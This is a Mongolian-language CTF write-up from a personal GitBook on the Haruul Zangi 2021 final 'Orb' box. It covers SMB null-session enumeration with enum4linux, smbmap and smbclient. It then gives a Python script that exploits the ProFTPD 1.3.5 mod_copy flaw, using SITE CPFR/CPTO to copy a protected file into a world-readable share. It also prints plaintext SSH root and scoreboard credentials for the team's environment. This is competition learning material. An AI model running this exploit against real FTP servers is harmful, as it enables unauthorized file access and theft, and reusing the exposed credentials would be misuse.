fg0x0's notes
  • 👀Introduction
    • 🏴‍☠️About me
  • 👾offensive-security
    • 🐲OSCP
      • 🛡️Active Directory ( OSCP )
    • ⛓️OSEP
    • 🕸️OSWE
    • 🌌PG-Practice
      • 🏴‍☠️Warm UP
        • 🐧ClamAV
        • 🪟Algernon
        • 🪟Helpdesk
      • 🏴‍☠️Get to Work
        • 🪟Hutch
        • 🪟Jacko
        • 🪟Shenzi
        • 🪟Slort
        • 🐧Postfish
        • 🐧Pelican
        • 🐧Quackerjack
        • 🐧Snookums
        • 🐧Sorcerer
        • 🐧Walla
        • 🐧ZenPhoto
        • 🐧Zino
      • 🏴‍☠️Try Harder
        • 🐧Peppo
        • 🐧Sirol
      • 🏴‍☠️Retired Play Machines
  • 🚩Red Team
    • ☢️Active Directory Exploitation
      • ⚔️Domain Enumeration
      • ⚔️Local Privilege Escalation
    • 👿Red Teaming Zero to Hero
    • 👿Red Teaming All The Things
    • 🕸️Web Exploitation
      • ⚔️XSS (Cross-Site Scripting)
      • ⚔️Remote File Inclusion
      • ⚔️HTML smuggling
    • 💀Binary Exploitation
      • ⚔️Buffer Overflow
      • ⚔️Return Oriented Programming ( ROP )
      • ⚔️Binary Security
      • ⚔️Format String Vulnerability
      • ⚔️Registers
    • ☠️Exploit Development
      • ⚔️Macro Shellcode
      • ⚔️Payloads
  • 🏳️Blue Team
    • 🔍Digital Forensics
    • 🔐Cryptography & Math
      • ⚔️OpenSSL
    • ⏪Reverse Engineering
  • 🏴‍☠️ctf
    • 🏇Haruul Zangi
      • 🏴HZ-2018
        • ⚔️Final-Shao Kahn
      • 🏴HZ-2019
        • ⚔️Final-Уртасгасан-Хээээээээээээээээш
        • ⚔️Final-Skywalker-sage-info
        • ⚔️Round-1-Very Secure LDAP
        • ⚔️Round-1-Web Warmup
      • 🏴HZ-2020
        • ⚔️Round-1-websploit1
        • ⚔️Round-1-websploit2
        • ⚔️Round-1-websploit3
      • 🏴HZ-2021
        • ⚔️Final-Screenshot 1,2
        • ⚔️Final-Orb
      • 🏴HZ-2022
        • ⚔️HZ-2022-Final-You Have Been Hacked
        • ⚔️HZ-2022-Final-Breaking News
        • ⚔️HZ-2022-Final-Todo
        • ⚔️HZ-2022-Final-Subway Surfers
        • ⚔️HZ-2022-Round-2-Spike-Boom-!!!
      • 🏴HZ-2023
        • 👻Round-1
        • 👻Round-2
        • 👻Round-3
          • 🦆Ducky Notes
          • 🚋Aylagch
          • 🔻Web Downchecker
          • 🔑Password Manager
      • 🐣HZ-U18-2023
        • 🔍Forensics
        • ☄️Trivia
        • 🕸️Web
        • 🔢Crypto
        • 🌏Misc
      • 🏴HZ-2024
        • Round-1
          • M4th
        • Round-2
          • Enigma
        • Final-Round
          • 💀heavy one ( forensics )
    • 🏴‍☠️Other CTF
      • 🏜️Shambala-2056
        • 🇦🇷Argentina-PWN (pwn1)
        • 🇪🇬Egypt-Forensics (spectre)
      • 🏴‍☠️SICT CTF
        • 🎮null
      • 🌏Asian Cyber Security Challenge
        • 🌏ACSC ( 2023 )
          • 🏴‍☠️Merkle Hellman ( Cryptography )
          • 🏴‍☠️easySSTI ( Web Exploitation )
          • 🏴‍☠️Hardware is not so hard
  • 🧊HackTheBox
    • 🪟Windows Machine
      • 🤕Support
      • ❌Escape
      • ✈️Flight
      • ☢️Active
    • 🐧Linux Machine
    • ☠️Other Platform Machines
      • ⚔️HMV-Alzheimer
      • ⚔️HMV-BaseME
      • ⚔️HMV-doc
    • Web Exploitation
      • 👽Flask SSTI
        • Templated
        • baby interdimensional internet
        • 👽baby todo or not todo
        • Slippy ( Jinja2 )
      • Injection
        • 👽Phonebook ( LDAP Injection )
        • sanitize ( SQL Injection )
        • Weather app ( SQL Injection )
        • Intergalactic Post ( php filter SQLi )
        • C.O.P ( SQL injection + Revshell )
      • 💥Prototype Pollution
        • ☠️baby breaking grad
      • 😵‍💫insecure deserialization
        • 👽baby website rick ( insecure deserialization )
      • XSS
        • 👽Full Stack Conf (Cross-Site Scripting)
        • AbuseHumandb ( XSS Puppeteer )
        • Kryptos Support ( XSS+IDOR )
        • Felonious Forums ( XSS, Cache Poison, Directory Traversal )
      • 👾Symfony
        • 💀baby bonechewercon ( Symfony )
      • 👥XXE
        • 🤙baby WAFfles order
      • Ping submit hiideg
        • Looking Glass ( Ping )
      • RCE
        • LoveTok ( RCE )
        • Neonify ( RCE )
        • Amidst Us ( image+RCE )
        • Letter Despair ( PHP + RCE )
        • Debugger Unchained ( SQLi+RCE )
      • LFI
        • toxic ( LFI )
      • File Upload
        • petpet rcbee ( file upload )
      • URL submit hiideg
        • baby CachedView ( URL submit hiideg )
      • Invoice ilgeedeg
        • Blinker Fluids
      • HTTP2 smuggling
        • PhishTale ( HTTP2 smuggling, Twig N-Day )
    • Forensics
  • 💀Synack Red Team
    • ☠️DC-1 ( kh )
    • ☠️DC-2 ( kh )
    • ☠️DC-3 ( kh )
  • dursamj
Powered by GitBook
On this page
  • HZ 2021 Final Round Orb
  • Orb
  1. ctf
  2. Haruul Zangi
  3. HZ-2021

Final-Orb

ProFTPd Exploit | Linux Enumeration | Exploit

PreviousFinal-Screenshot 1,2NextHZ-2022

Last updated 2 years ago

HZ 2021 Final Round Orb

"Харуул Занги 2021" амжилттай болж өндөрлөлөө. Миний бие энэ жил AnonSec багаас хоёр найзтайгаа хамт оролцсон бөгөөд 1-р шатанд 3-р байранд , 2-р шатанд 5-р байранд орсон билээ. Энэ жил өмнө жилийн тэмцээнийг сонирхолтой болгож өгсөн зүйл нь Финалын шат "Attack And Defense" төрлөөр явагдсан. Манай баг төдийлөн өндөр амжилт үзүүлж чадаагүй ч гэсэн өөрсдийн бодсон бодлогоо тайлбартайгаар хүргэх нь зүйтэй болов уу гэж бодлоо.

Orb

Финалын шатанд баг бүрт тусдаа Docker үүсгэж өгсөн учраас эхлээд SSH-ээр хандаж орох хэрэгтэй болсон

Жишээ нь: Манай багийн SSH login хэсэг

Багийн нэр: AnonSec Манай багийн domain: hz-vulbox3.haruulzangi.mn SSH username: root SSH password: u3RYQMZDaAg4bEEq6SmLOi "Нэвтрэх нэр": AnonSec "Нууц үг": 5Ft1ELGZOqUI87W4

Үүний дараа бид challenge бүрийн docker-н мэдээллийг харахын тулд энэхүү тушаалыг ашиглах боломжтой

root@ip-10-10-20-23:~# docker ps -a

e57944a41e96 orb "/tmp/entrypoint.sh …" 9 hours ago Up 6 hours 0.0.0.0:21->21/tcp, :::21->21/tcp, 0.0.0.0:139->139/tcp, :::139->139/tcp, 0.0.0.0:445->445/tcp, :::445->445/tcp, 0.0.0.0:2205->22/tcp, :::2205->22/tcp orb

Тушаалыг бичсэнээр бид нар Orb даалгаварлуу bash shell -ээр орж байгаа юм.

root@ip-10-10-20-23:~# docker exec -it orb /bin/bash

Орсны дараа файлуудыг нэг бүрчлэн туршиж үзэхэд ProFTPd , Samba гэсэн хоёр танил сервис байхыг харж болно.

Samba буюу SMB нь 445 , 139-р портон дээр ажилладаг файл хуваалцах боломжыг бүрдүүлдэг протокол

ProFTPd буюу FTP нь 21-р портон дээр ажилладаг файл дамжуулах боломжыг бүрдүүлдэг протокол

SMB дээр Null session үүсгэж нууц үг шаардлагүйгээр хандалт хийх боломжтой эмзэг байдал байдаг

ProFTPd дээр хамгийн сайн мэдэх mod_copy эмзэг байдал байдаг

Одоо тэгвэл энэхүү хоёр сервисын уялдаа холбоог жаахан ойлгох хэрэг гарна. Эхлээд юуг ашиглаж болох вэ гэхээр:

SMB-г Enumeration хийж мэдээлэл цуглуулах хэрэгтэй.

$IP = '18.162.113.173'

enum4linux -A $IP

ингэснээр ямар хэрэглэгчид байгаа мэдээллийг , мөн default-аар байгаа бол шууд нууц үгийг олох боломжтой байдаг

yondu

gamora

nebula

гэсэн 3 хэрэглэгч олдлоо

Тэгвэл энэхүү 3 хэрэглэгчрүү ороход бидний Permission хүрэх үү? Access хийж чадах уу гэдгийг шалгахын тулд:

$IP = '18.162.113.173'

smbmap -H 18.162.113.173

print$
Disk
Printer Drivers

yondu

Disk

/samba/ is a nice planet to place orb ( Admin access )

gamora

Disk

Where is the orb? ( Admin access )

nebula

Disk

Why is gamora? ( Free access )

IPC$

IPC

IPC Service (e57944a41e96 server (Samba, Ubuntu))

үүнээс харвал nebula хэрэглэгчрүү нэвтрэхэд Free access-тай буюу Null session үүсгэх боломжтой байгааг харж болно.

smbclient //18.162.113.173/nebula

нууц үг шаардлагагүй шууд Enter дараад орно

Энэ маань бидний файлаа хуулаад тавихад харах боломжтой хэрэглэгч гэж ойлгож болно.

За одоо ProFTPd-гээр үндсэн flag файлаа mod_copy хийж nebula хэрэглэгчрүү хуулах шаардлага үүсэж байгаа

IP-гаар нь скан хийж үзвэл:

21/tcp open ftp ProFTPD 1.3.5

ProFTPd 1.3.5 хувилбар байсан бөгөөд Exploit-н хайж үзвэл

Шууд энэхүү exploit-г ажиллуулах боломжгүй бөгөөд үүнийг скрипт болгоод бага зэрэг өөрчлөлт оруулвал

import sys
import socket
import requests

def exploit(client, target):
    client.connect((target,21)) # Connecting to the target server
    banner = client.recv(74)
    print(banner.decode())
    client.send(b'site cpfr /flag\r\n')
    print(client.recv(1024).decode())
    client.send(b'site cpto /samba/nebula/flag.txt\r\n')
    print(client.recv(1024).decode())
    client.close()
    print('Exploit Completed')

def check(url):
    req = requests.get(url) # Requesting the written PoC php file via HTTP
    if req.status_code == 200:
        print('[+] File Written Successfully')
        print(f'[+] Go to : {url}')
    else:
        print('[!] Something Went Wrong')
        print('[!] Directory might not be writable')

def main():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    target = sys.argv[1]
    exploit(client, target)
    url = 'http://' + target + '/test.php'
    check(url)

if __name__ == '__main__':
    main()

Exploit completed болсоны дараа smbclient-аар орсон nebula хэрэглэгчээр ороод dir тушаалыг биелүүлэхэд flag хуулагдсан байх болно

энэхүү линкээр ороод үзэж болно

🏴‍☠️
🏇
🏴
⚔️
Онооны самбар харах , флагаа оруулах хэсэг:
Exploit хийх линк